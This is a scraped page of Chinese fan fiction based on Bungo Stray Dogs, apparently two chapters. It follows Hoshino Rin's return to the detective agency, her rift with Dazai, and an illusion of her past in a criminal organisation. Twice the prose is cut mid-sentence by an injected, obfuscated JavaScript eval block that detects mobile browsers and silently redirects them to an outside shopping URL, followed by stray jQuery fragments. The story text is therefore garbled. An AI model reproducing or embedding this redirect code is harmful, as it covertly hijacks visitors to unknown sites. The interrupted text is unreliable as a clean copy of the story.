太宰察觉到她的身影,正向自己靠近,语调轻快道:“我叫了车,凛酱和我一起回去吧。” 没头没尾的一句话,这家伙怎么就这么自信,笃定她一定会和他坐一辆车? “算了,我和你这种人说不清楚。” 星野凛已经放弃和太宰沟通了,她在房间收拾东西的时候,已经提前打好车了,是上次把她送到酒店的司机,她在衣服口袋里找到对方塞给她的名片了。 太宰:“?” 星野凛在太宰的注视下,坐上了自己打的车,她降下车窗,对太宰道:“我希望你不要一直逃避这个问题,我先回去了。” 说完就把车窗关上了,没去看太宰的神情,她莫名松了一口气:“师傅,去武装侦探社。” * 星野凛把行李寄存到侦探社楼下的咖啡店里,她和店长寒暄了几句,没一会就回侦探社了。 她推开侦探社的大门,顶着众人的视线,她轻声开口:“那个,我回来了。” 侦探社的众人扫了她几眼,没什么反应地收回了视线,过了没一会,突然意识到了什么,纷纷把视线重新聚焦到她身上。 中岛敦发出惊讶的声音:“诶?——星野小姐?我没看错吧??” 国木田推了推眼镜,冷静道:“你没看错,是星野本人。” 乱步在玩玻璃弹珠,头也不抬道:“我早就猜到了凛酱不会和太宰一起回来的,结果他非要去这一趟。” 与谢野晶子拍了拍星野凛的肩膀:“回来就好,你都不知道,我得知你离开侦探社的时候,有多担心你,还以为你不会回来了。” 星野凛摸了摸鼻子,有些心虚道:“怎么会……大家对我那么照顾,我怎么会轻易离开呢。” 她当初确实有几分彻底离开侦探社的想法,但很快否决了,这件事一定不能让侦探社的大家知道。 “敦君,我这几天不在,工作量一定很大吧?不用担心,我来帮你。” 见星野凛很快投入状态,众人也都歇了探究的心思,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308155|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而去忙自己的工作了。 中岛敦挠挠头:“还好,不过星野小姐愿意帮忙真是太好了。” 星野凛帮中岛敦整理文档,“敦君,这几天侦探社有发生什么有趣的事吗?” 中岛敦整理文档的手一顿,说:“有趣的事倒是没有,不过太宰先生一直在尝试给你打电话,从早打到晚,我问他为什么不去找你,他一脸神秘的样子什么都不肯说,星野小姐知道太宰先生为什么会变成这样吗?” “不知道,好了,敦君不要再提这个人了,有没有除了这个人之外的事?” “好像没了。” “……” 乱步在一旁插.话道:“提起有趣的事,凛酱这几天在酒店不是已经体验过了吗?还得到了很多意料之外的信息,本名侦探也好想经历一次啊,肯定很有趣。” 星野凛无语道:“这一点也不有趣!乱步先生居然觉得暴雪酒店的事有趣?完蛋了,乱步先生已经不是正常人了。” 哪个正常人会把糟心事称之为有趣啊?! 乱步有些不满:“哼!名侦探的直觉就是绝对的,还有,我本来就不是正常人,我可是名侦探!是全知全能的存在,自然和你们这些庸俗的正常人不一样。” “那请问全知全能的名侦探大人,为什么要让太宰去给我添堵?你明明知道我和他闹矛盾了,干嘛不拦着他?” “什么?你们闹矛盾了吗?我没看出来。” 乱步把玻璃弹珠放在手里盘:“在我看来你们这根本不算闹矛盾,很好解决的,只是太宰不愿意和你认真道歉而已。” “乱步先生,你错了,就算太宰认真给我道歉,我也不会原谅他的。” 凭什么他一道歉,她就必须得原谅他? 乱步看破了一切,看着星野凛:“凛酱果然还是介意那次的事,我和太宰说过这样会把你越推越远,他一意孤行,我也没办法,不过太宰做这一切都是有原因的,你所知道的并不是完整的。” 什么?利用她这件事居然还不是完整的,太宰治这家伙还真是没有下限啊。 “不是凛酱想得那样,太宰默默为你做了很多事,他自己不说,也不让我说,现在好了,被你误会了吧。” 别告诉她,太宰拿的还是做好事不留名的隐忍剧本? 星野凛感到好笑:“那我要不要给太宰颁一个感动霓虹十大好人奖啊?既然他自己想被误会,就别替他澄清,他自己有嘴,不要管他。” 乱步把原本想说的话咽回肚子里,他也救不了太宰了,太宰自求多福吧。 星野凛见侦探社内没有特别棘手的案件,和国木田说了一声,就下楼拿着行李回员工宿舍了。 早知道先把行李放回去了,她抬头看着前面的路,有些绝望。 侦探社离员工宿舍不是很近,也不是很远,打车太浪费了,走路回去又太累,无奈之下她还是选择了走路回去。 走着走着,身体传来熟悉的阵痛,该死,副作用又发作了,她忍着痛,努力睁开眼睛,握紧行李箱的伸缩杆往前走。 “异能力——【幻噬迷镜】” 星野凛顿时陷入了一个纯白的空间里,她看见了这个空间的主人,旁边还有一个卷毛男。 嘶,有点眼熟。 她睁大眼睛,天杀的!这不是那个国中生失踪案的罪魁祸首卷毛男吗?! 44.第 44 章 星野凛忍住体内的疼痛,抬眼直视着对面的两人:“你们想干什么?” 她记得卷毛男被关进默尔索监狱了,怎么这么快就出来了?还偏偏挑这个时候来报复她。 卷毛男站在女人身后,狐假虎威道:“这不是很明显吗?当然是要杀了你泄愤啊,当初被你和那个绷带怪人戏耍之后,组织把我抛弃了,现在我终于又回到了横滨,不杀你难解我心头之恨。” 等等,绷带怪人?啧啧,这个词形容太宰还挺准确的。 星野凛露出一副无辜的神情:“你任务失败了和我有什么关系?你做的本来就是违.法.乱纪的事,没有我,也会有别的正义人士来将你绳之以法,还有,你难道没反思过自己吗?” 卷毛男差点被她绕晕,虽然心里对她有所提防,但还是问道:“我为什么要反思自己?” 星野凛循循善诱道:“你难道不需要反思自己吗?任务失败多找找自己的原因,像你这种头脑简单,四肢也不发达的人,做任务会失败很正常,你不用气馁,回老家找个班上就好了。” “闭嘴!少给我耍花招。” 卷毛男转头对女人摆出一副恭维的姿态,“这次我加入了新组织,我相信有赤木大人一定会成功的,赤木大人的异能可是全组织最强的。” 名叫赤木的女人静静地听着卷毛男的话,不赞同也不反对,始终面无表情,眼神淡漠,看她像是在看一件死物,没有多余的情绪。 星野凛抬手擦掉额头上的薄汗,现在她的异能还处在一个极度不稳定的状态,能不能使用都难说,强行使用恐怕会出事,只能听天由命了。 赤木盯着星野凛,缓缓吐出几个字:“彻底陷入幻境吧。” 随着一阵耀眼的白光闪现,星野凛感觉天旋地转,眼睛被强光照射睁不开,大脑也昏昏沉沉。 * 这场白光不知道持续了多久,等她有意识的时候,发现她在一个陌生的地方,眼前是一座巴洛克风格的城堡,辉煌巍峨,伫立在悬崖峭壁之上,峭壁下面是一望无际的深海。 海浪不断冲刷着岩石,溅起一大片水花,空气中充斥着浮游生物腐烂后的腥臭味。 海鸥盘旋在城堡前,随着城堡的大门打开,海鸥稳稳落在一个有着青色眼眸,蓝色妹妹头短发的女孩肩上。 星野凛看着那张和她相似的脸,陷入了沉默。 但对面的人好像根本看不见她,只顾着逗弄海鸥。 星野凛为了验证这一点,直接走到对方的面前,伸手挥了挥,很好,毫无反应,是真的看不见她。 如果她猜得没错的话,这里应该就是月亮海,眼前这个人不是别人,也不是什么双胞胎妹妹,而是她自己。 赤木的异能让她陷入了幻境,目前还不清楚这个幻境到底是赤木编造的,还是她的真实过往。 她决定跟着自己去查询真相,然后再想办法离开幻境。 海鸥不堪逗弄,挣扎着飞走了,面前的人说了一句“真无聊”后,又回到了城堡。 她趁自己打开门的间隙,迅速钻进去,内部空间比她想象得要大的多,奢靡又华丽,连地板都是用宝石和珊瑚石铺成的。 这时,一道暗箭以迅雷不及掩耳之势向她袭来,她连忙蹲下,抬头查看自己的情况,只见自己轻嗤了一声,看都不看,随意伸出手,那只气势汹汹的暗箭则安静地躺在手心里。 “……” 星野凛看着眼前这一幕目瞪口呆,没想到自己的身手这么好。 暗箭的箭头上藏着一张小纸条,星野凛仗着对方看不见,凑到身边看,上面写着:【来我办公室一趟,有要事商议。】 落笔人是首领。 原来刚才的暗箭是用来传递消息的,她推测,在月亮海工作肯定很累,每天要按时完成任务不说,还要预防随即发送的暗箭。 难怪组织里疯子那么多,首领可真是功不可没啊。 星野凛看到自己拿出打火机把纸条烧掉,转身来到右面的墙壁上,按下隐藏按钮,电梯缓缓下来。 是去往顶层的电梯。 没一会电梯就来到了顶层,星野凛跟着自己来到首领办公室。 “亲爱的孩子,你迟到了一分钟,让我想想,该怎么惩罚你呢?” 一个身穿高定西装,戴着金丝框眼镜的女人用还算温厚的声音说道。 “非常抱歉,我没想到您今天会突然通知我。” 雷娜斯坐在宽大的沙发上,慢斯条理地饮茶:“开个玩笑,惩罚就免了,我忘记今天是你的休息日了,真是对不住。现在我手上有一件棘手的事需要你处理,酬劳是平时的三倍,怎么样?” 星野凛听到自己回答道:“一切都听首领的吩咐。” 区区三倍酬劳也想让人加班?也太没诚意了吧,像这种比较危险的任务,起码要给十倍酬劳才划算。 自己以前的性格也太闷了,都不懂得拒绝,组织又不只有她一个劳动力,这件事交给西莉娅做会完成得更好,毕竟这家伙可是首领的头号拥趸。 蕾娜斯轻拨茶盖,金色的眼睛直视着自己:“最近有一批来自北部的异能组织,用了不到两个月时间,把欧洲大大小小的地下组织吞并了,目前我们的一条产业链正在被瓜分,我想让你夺回产业链,必要时可以采取极端措施。” “我明白了,一定不辜负首领的信任。另外,我想知道这次的任务是只有我一个人吗?” “是,只有你一个人。” 星野凛看到首领拿出一小瓶神秘液体。 首领把那瓶神秘液体放在桌子上,“对了,我记得你这个月没有接受修复手术,把它带上吧。” 她终于看清了,是特效药,和当初西莉娅递给她的那瓶一模一样。 “多谢首领。” 自己接过那瓶特效药,鞠躬致谢,随后走出首领办公室。 坐着电梯一路下行,来到刚才的地方,自己轻车熟路地走到走廊尽头,找到隐藏的密码门,输入完密码,又验证了虹膜,门顺利打开。 星野凛光明正大跟着自己走,没想到这个门后面是一个地下密道,一路上除了她和自己之外,只有微弱的照明灯,显得十分空旷寂静。 大概走了有五分钟,自己忽然停下脚步,星野凛疑惑地看过去,只见自己从口袋里掏出那瓶特效药,在确认过没有监控之后,拧开瓶盖,把药全都倒在了地上,瓶子被她重新装进口袋里。 一阵吵闹的手机铃声突然响起,自己接通:“喂?” 星野凛凑过去,把耳朵贴在自己的耳朵旁。 “你现在在哪里?首领又给你派任务了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343469|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 是深川千礼的声音。 “在秘密通道,准备去北部。” 电话那头的声音默了一瞬,很快问道:“你想成为干部吗?” 自己自嘲道:“我想或者不想有那么重要吗?你觉得首领三番两次指定我去完成特殊任务,是在培养我,想让我成为干部?不要天真了姐姐,首领的意图不是我们可以妄加揣测的。” “我知道了,西莉娅得到了消息,你小心点。” “该小心的是她才对,我把首领给我的特效药倒掉了,要是到时候她非要往枪口上撞,我也没办法。” 自己说完挂断了通话。 星野凛也和自己拉开了距离,首领现在的行为不管是有意还是无意,都在暗中给自己拉仇恨。 继续往前走,终于看到尽头的出口了,星野凛加快脚步跟上去。 尽头是一处私人飞机场,自己随便挑了一架直升飞机坐在驾驶座上,看着越来越远的地面,星野凛下意识牢牢抓住安全带。 她都不知道自己还会开飞机,等脱离幻境后,她要去尝试一下,看看自己还能不能开,肌肉记忆到底有没有用。 半小时后,直升飞机缓缓降落,星野凛回到地面就开始吐,不光胃难受,大脑里也像有一只蜜蜂一样嗡嗡作响,吵得她头疼。 赤木的异能实在是太厉害了,其他人虽然看不到她,但她不仅能看到,还能感受到,身临其境也不过如此了。 星野凛吐完后,转身去找自己的身影。 结果看到自己站在一辆越野车前,面色阴沉地盯着松本月华和西莉娅。 自己冷冷开口:“首领没让无关人员参与这个任务,请你们离开这辆车。 西莉娅按了一下喇叭,笑道:“哎呀,部长大人别这么小气嘛,有好玩的事可不能一个人独享,要学会和同伴分享才行。” 松本月华坐在副驾驶,散漫道:“既然部长大人这么不想看到我们,不如把这个任务让给我们怎么样?” “不怎么样,首领把这个任务交给了我,那这个任务就是属于我的,无论你们怎么胡搅蛮缠,我都不会把任务让给你们的。” 自己打开驾驶座的车门,对西莉娅说道:“你到底下不下来?” 西莉娅嘴角的笑意僵硬了一瞬,随即便重新展露了一个甜美的笑容:“不如这样吧,部长大人和我们一起去吧,多个人多份力量,没必要为了任务伤了我们之间的感情。” 星野凛靠在车窗旁,差点没笑出声,这两个家伙可真不要脸,为了抢任务,得到首领的赏识,真是什么话都说得出来。 果然,下一秒就传来自己不疾不徐的声音:“不存在的东西,伤害就伤害了吧,我不在乎。” “还是说非得让我采取极端措施,你们才会乖乖离开对吗?顺便提醒你们一句,我这个月没做修复手术,也没喝特效药,如果在十秒之后你们还不离开的话,我也不确定自己会做出什么极端的事来,十、九、八、七……” 在快数到六的时候,松本月华率先推开车门,跑了出去。 “……” 在看到松本月华逃跑后,西莉娅的笑容彻底僵住了,她缓缓推开车门,沉默着离开了。 星野凛彻底笑出声,这两个怂包,还敢和自己抢任务,真是不自量力。